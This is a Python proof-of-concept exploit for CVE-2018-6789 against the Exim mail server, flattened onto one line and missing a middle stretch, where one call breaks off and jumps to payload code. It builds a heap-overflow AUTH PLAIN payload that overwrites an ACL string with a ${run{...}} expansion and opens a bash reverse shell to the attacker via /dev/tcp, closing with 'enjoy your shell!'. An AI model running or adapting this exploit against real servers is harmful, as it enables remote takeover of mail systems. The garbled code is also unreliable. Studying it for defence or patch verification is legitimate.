#!/usr/bin/python import time import socket import struct s = None f = None def logo(): print print " CVE-2018-6789 Poc Exploit" print "@straight_blast ; straightblast426@gmail.com" print def connect(host, port): global s global f s = socket.create_connection((host,port)) f = s.makefile('rw', bufsize=0) def p(v): return struct.pack("& /dev/tcp/" + local_host + "/" + str(local_port) + " 0>&1\"" cmd_expansion_string = "${run{" + cmd + "}}\0" auth_plain("J" * acl_smtp_rcpt_offset + cmd_expansion_string + "J" * (8200 - acl_smtp_rcpt_offset - len(cmd_expansion_string))) print "[10] malloced ACL store block and overwrite the content of 'acl_smtp_rcpt' with shell expression" write("MAIL FROM:") readuntil("OK") write("RCPT TO:") print "[11] triggered RCPT TO and executing shell expression ... enjoy your shell!" print if __name__ == '__main__': exploit()